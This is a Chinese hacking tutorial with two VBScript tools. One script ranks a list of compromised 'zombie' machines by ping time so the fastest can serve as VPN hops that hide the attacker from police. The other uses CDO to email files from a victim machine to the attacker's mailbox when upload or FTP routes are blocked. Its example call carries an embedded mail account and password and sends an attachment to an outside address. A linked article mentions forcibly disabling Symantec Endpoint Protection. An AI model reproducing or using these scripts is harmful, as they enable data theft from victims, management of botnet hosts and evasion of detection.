利用VBS發(fā)送郵件 挑選速度快的肉雞做VPN 的vbs代碼

一.挑選速度快的肉雞做VPN。
當(dāng)自己從小菜鳥轉(zhuǎn)型為老菜鳥時(shí),就懂得考慮在玩Hacking的同時(shí)也要盡量保證不暴露
自己。萬事,安全第一嘛!不然都不知道哪天玩著玩著就被警察叔叔帶去喝茶了^_^ 。
因此,作為老菜鳥的我們,要學(xué)會在Hacking時(shí),多用VPN+終端等跳板措施來保護(hù)自己,盡量不讓自己直接暴露所處地。
但是,由于跳板的增加,導(dǎo)致了數(shù)據(jù)傳輸?shù)木徛。因此我們完全有必要找網(wǎng)速快的機(jī)器來做VPN跳板。但如果讓自己做這些重復(fù)性的操作(從眾多的肉雞中挑選網(wǎng)速好的),那就太愧對老菜鳥這個(gè)稱呼了。對于學(xué)過編程的朋友來說,那簡直易如反掌。但對小菜來說,可能還有點(diǎn)難度。因此,今天我就先簡單的介紹下,如何用VBS幫我們挑選速度快的肉雞。
On Error Resume Next
'code by NetPatch
Set arg=Wscript.Arguments
'聲明外部參數(shù)
If Arg.count=0 then Wscript.quit
'若沒有參數(shù)則退出腳本
Num=0
SzBuf = InputBox( "請輸入要找的Ping時(shí)間值:", "輸入", "200" )
'調(diào)用彈出消息輸入框來獲取要查找的時(shí)間
Set Fso=CreateObject("Scripting.FileSystemObject")
'聲明FSO組件
Set Gofile=Fso.OpenTextFile(Arg(0),1,False,-2)
'打開拖進(jìn)來的文件
Do While Gofile.Atendofline <> True
Ip=Gofile.Readline
'讀取一行
Set oShell = WScript.CreateObject("WScript.Shell")
'聲明WSH組件
Set oExec = oShell.Exec("ping -n 1 "&Ip&"")
'執(zhí)行PING命令,然后把結(jié)果附值到oExec
Set File=fso.OpenTextFile(arg(0)&".txt",8,True)
Do While Not oExec.StdOut.AtEndOfStream
strOut = oExec.StdOut.ReadLine()
If oExec.StdOut.line>4 then exit do
'用循環(huán)讀取指定行數(shù)
Loop
If
Cint(GET_Time(StrOut)) < Cint(SzBuf) Then
File.Writeline Ip&chr(9)&"Ping時(shí)間值為:"&GET_Time(StrOut)&"秒"
'找到小于指定時(shí)間的機(jī)器,并寫入新建立的文本
Num=Num+1
'找到后,記數(shù)(后面統(tǒng)計(jì)用)
End if
Loop
File.Close
Gofile.Close
Set Fso=Nothing
if num = 0 then
wscript.echo "郁悶!一個(gè)也沒找到@_@"
else
wscript.echo "恭喜!找到"&num&"個(gè)"
end if
'用正則查找指定的PING時(shí)間值
Function GET_Time(ss)
Set re = New RegExp
re.Pattern = "(.+from )(\d+.\d+.\d+.\d+): bytes=32 time=(\d+)ms(.+)"
re.Global = True
re.IgnoreCase = True
re.MultiLine = True
GET_Time = re.Replace(ss,"$3")
end Function
把你的肉雞IP列表拉到這個(gè)VBS腳本上,再填入你要找的PING時(shí)間值,即可很快找出哪臺肉雞相對比較快的(當(dāng)然,前提是你的肉雞沒防PING!不過話說回來,如果防PING的話,估計(jì)有防火墻一類的東西,可能也做不成VPN了。)。
二.利用VBS發(fā)送郵件
有的時(shí)候,滲透時(shí),我們需要在DOS下打包對方的某些東西!
有的時(shí)候,我們沒辦法上傳工具。
有的時(shí)候,由于對方限制太嚴(yán)格,沒辦法利用FTP等方法傳東西。
這個(gè)時(shí)候,下面的腳本就派上大用場了,可以很輕松的將對方的東西,當(dāng)附件發(fā)送到自己郵箱。(前提是,附件不要太大哦……不然很容易暴露D!)
function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)
'code by NetPatch
'VBS發(fā)送郵件參數(shù)說明
'You_Account:你的郵件帳號
'You_Password:你的郵件密碼
'Send_Email:
主要郵件地址
'Send_Email2: 備用郵件地址
'Send_Topic:
郵件主題
'Send_Body:
郵件內(nèi)容
'Send_Attachment:郵件附件
You_ID=Split(You_Account, "@", -1, vbTextCompare)
'帳號和服務(wù)器分離
MS_Space = "http://schemas.microsoft.com/cdo/configuration/"
'這個(gè)是必須要的,不過可以放心的事,不會通過微軟發(fā)送郵件
Set Email = CreateObject("CDO.Message")
Email.From = You_Account
'這個(gè)一定要和發(fā)送郵件的帳號一樣
Email.To = Send_Email
'主要郵件地址
If Send_Email2 <> "" Then
Email.CC = Send_Email2
'備用郵件地址
End If
Email.Subject = Send_Topic
'郵件主題
Email.Textbody = Send_Body
'郵件內(nèi)容
If Send_Attachment <> "" Then
Email.AddAttachment Send_Attachment
'郵件附件
End If
With Email.Configuration.Fields
.Item(MS_Space&"sendusing") = 2
'發(fā)信端口
.Item(MS_Space&"smtpserver") = "smtp."&You_ID(1)
'SMTP服務(wù)器地址
.Item(MS_Space&"smtpserverport") = 25
'SMTP服務(wù)器端口
.Item(MS_Space&"smtpauthenticate") = 1
'cdobasec
.Item(MS_Space&"sendusername") = You_ID(0)
'你的郵件帳號
.Item(MS_Space&"sendpassword") = You_Password
'你的郵件密碼
.Update
End With
Email.Send
'發(fā)送郵件
Set Email=Nothing
'關(guān)閉組件
Send_Mail=True
'如果沒有任何錯(cuò)誤信息,則表示發(fā)送成功,否則發(fā)送失敗
If Err Then
Err.Clear
Send_Mail=False
End If
End Function
'以下是利用上面的函數(shù)發(fā)送帶附件的郵件例子
If Send_Mail("40649794@163.com","alan@113","alan113_520@163.com","","郵件主題","郵件內(nèi)容","d:\test.exe")=True Then
Wscript.Echo "發(fā)送成功"
Else
Wscript.Echo "發(fā)送失敗"
End If
相關(guān)文章
VBS 強(qiáng)制關(guān)閉Symantec Endpoint Protection的代碼
很多企業(yè)電腦系統(tǒng)是Windows Xp,使用Windows server 2003 來控制,其中客戶端得殺毒軟件有不少是使用 Symantec Endpoint Protection2013-01-01使用 Iisext.vbs 刪除 Web 服務(wù)擴(kuò)展文件的方法
這篇文章主要介紹了如何使用 iisext.vbs 從本地或遠(yuǎn)程計(jì)算機(jī)上刪除 Web 服務(wù)擴(kuò)展文件,需要的朋友可以參考下2014-07-07VBS數(shù)組函數(shù)學(xué)習(xí)實(shí)例分析
VBS數(shù)組在應(yīng)用中沒有像其他語句那么廣泛,VBS數(shù)組存在不少功能上的局限性(如二維數(shù)組的定義、賦值),在使用上也沒有java等語言那么便捷2013-04-04